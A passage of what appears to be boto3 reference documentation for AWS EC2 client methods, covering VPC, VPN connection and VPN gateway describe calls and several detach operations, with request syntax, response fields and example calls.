'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **VpcPeeringConnections** _(list) --_ + + Information about the VPC peering connections. + + * _(dict) --_ + + Describes a VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_vpcs(kwargs_) + +Describes one or more of your VPCs. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +response = client.describe_vpcs( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpcIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **VpcIds** (_list_) -- + + One or more VPC IDs. + + Default: Describes all your VPCs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpcs': [ + { + 'CidrBlock': 'string', + 'DhcpOptionsId': 'string', + 'State': 'pending'|'available', + 'VpcId': 'string', + 'OwnerId': 'string', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + }, + 'NetworkBorderGroup': 'string', + 'Ipv6Pool': 'string' + }, + ], + 'CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'CidrBlock': 'string', + 'CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'IsDefault': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Vpcs** _(list) --_ + + Information about one or more VPCs. + + * _(dict) --_ + + Describes a VPC. + + * **CidrBlock** _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + * **DhcpOptionsId** _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + * **State** _(string) --_ + + The current state of the VPC. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **InstanceTenancy** _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + * **CidrBlockAssociationSet** _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **IsDefault** _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + * **Tags** _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified VPC. + +response = client.describe_vpcs( + VpcIds=[ + 'vpc-a01106c2', + ], +) + +print(response) + +Expected Output: + +{ + 'Vpcs': [ + { + 'CidrBlock': '10.0.0.0/16', + 'DhcpOptionsId': 'dopt-7a8b9c2d', + 'InstanceTenancy': 'default', + 'IsDefault': False, + 'State': 'available', + 'Tags': [ + { + 'Key': 'Name', + 'Value': 'MyVPC', + }, + ], + 'VpcId': 'vpc-a01106c2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_vpn_connections(kwargs_) + +Describes one or more of your VPN connections. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpnConnections) + +**Request Syntax** + +response = client.describe_vpn_connections( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpnConnectionIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * customer-gateway-configuration - The configuration information for the customer gateway. + * customer-gateway-id - The ID of a customer gateway associated with the VPN connection. + * state - The state of the VPN connection (pending | available | deleting | deleted ). + * option.static-routes-only - Indicates whether the connection has static routes only. Used for devices that do not support Border Gateway Protocol (BGP). + * route.destination-cidr-block - The destination CIDR block. This corresponds to the subnet used in a customer data center. + * bgp-asn - The BGP Autonomous System Number (ASN) associated with a BGP device. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * type - The type of VPN connection. Currently the only supported type is ipsec.1 . + * vpn-connection-id - The ID of the VPN connection. + * vpn-gateway-id - The ID of a virtual private gateway associated with the VPN connection. + * transit-gateway-id - The ID of a transit gateway associated with the VPN connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **VpnConnectionIds** (_list_) -- + + One or more VPN connection IDs. + + Default: Describes your VPN connections. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnections': [ + { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeVpnConnections. + + * **VpnConnections** _(list) --_ + + Information about one or more VPN connections. + + * _(dict) --_ + + Describes a VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +describe_vpn_gateways(kwargs_) + +Describes one or more of your virtual private gateways. + +For more information, see [AWS Site-to-Site VPN](https://docs.aws.amazon.com/vpn/latest/s2svpn/VPC_VPN.html) in the _AWS Site-to-Site VPN User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpnGateways) + +**Request Syntax** + +response = client.describe_vpn_gateways( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VpnGatewayIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * amazon-side-asn - The Autonomous System Number (ASN) for the Amazon side of the gateway. + * attachment.state - The current state of the attachment between the gateway and the VPC (attaching | attached | detaching | detached ). + * attachment.vpc-id - The ID of an attached VPC. + * availability-zone - The Availability Zone for the virtual private gateway (if applicable). + * state - The state of the virtual private gateway (pending | available | deleting | deleted ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * type - The type of virtual private gateway. Currently the only supported type is ipsec.1 . + * vpn-gateway-id - The ID of the virtual private gateway. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **VpnGatewayIds** (_list_) -- + + One or more virtual private gateway IDs. + + Default: Describes all your virtual private gateways. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnGateways': [ + { + 'AvailabilityZone': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpcAttachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'VpnGatewayId': 'string', + 'AmazonSideAsn': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeVpnGateways. + + * **VpnGateways** _(list) --_ + + Information about one or more virtual private gateways. + + * _(dict) --_ + + Describes a virtual private gateway. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the virtual private gateway was created, if applicable. This field may be empty or not returned. + + * **State** _(string) --_ + + The current state of the virtual private gateway. + + * **Type** _(string) --_ + + The type of VPN connection the virtual private gateway supports. + + * **VpcAttachments** _(list) --_ + + Any VPCs attached to the virtual private gateway. + + * _(dict) --_ + + Describes an attachment between a virtual private gateway and a VPC. + + * **State** _(string) --_ + + The current state of the attachment. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway. + + * **AmazonSideAsn** _(integer) --_ + + The private Autonomous System Number (ASN) for the Amazon side of a BGP session. + + * **Tags** _(list) --_ + + Any tags assigned to the virtual private gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +detach_classic_link_vpc(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = client.detach_classic_link_vpc( + DryRun=True|False, + InstanceId='string', + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to unlink from the VPC. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC to which the instance is linked. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = client.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +**Examples** + +This example detaches the specified Internet gateway from the specified VPC. + +response = client.detach_internet_gateway( + InternetGatewayId='igw-c0a643a9', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +detach_network_interface(kwargs_) + +Detaches a network interface from an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachNetworkInterface) + +**Request Syntax** + +response = client.detach_network_interface( + AttachmentId='string', + DryRun=True|False, + Force=True|False +) + +Parameters + +* **AttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Specifies whether to force a detachment. + + Note + + * Use the Force parameter only as a last resort to detach a network interface from a failed instance. + * If you use the Force parameter to detach a network interface, you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. + * If you force the detachment of a network interface, the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) might not get updated. This means that the attributes associated with the detached network interface might still be visible. The instance metadata will get updated when you stop and start the instance. + + +Returns + +None + +**Examples** + +This example detaches the specified network interface from its attached instance. + +response = client.detach_network_interface( + AttachmentId='eni-attach-66c4350a', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +detach_volume(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = client.detach_volume( + Device='string', + Force=True|False, + InstanceId='string', + VolumeId='string', + DryRun=True|False +) + +Parameters + +* **Device** 